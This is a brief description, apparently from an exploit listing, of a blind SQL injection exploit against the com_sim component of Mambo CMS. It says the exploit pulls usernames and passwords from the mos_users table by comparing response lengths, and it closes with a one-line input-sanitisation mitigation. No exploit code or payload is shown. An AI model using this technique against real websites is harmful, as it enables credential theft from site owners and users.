Mambo com_sim Blind SQL Injection Exploit

This exploit is used to gain access to the username and password of a Mambo CMS website. It uses a blind SQL injection vulnerability in the com_sim component to extract the credentials from the mos_users table. The exploit takes the URL of the vulnerable page as an argument and then uses the difference in response lengths to determine the username and password.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.
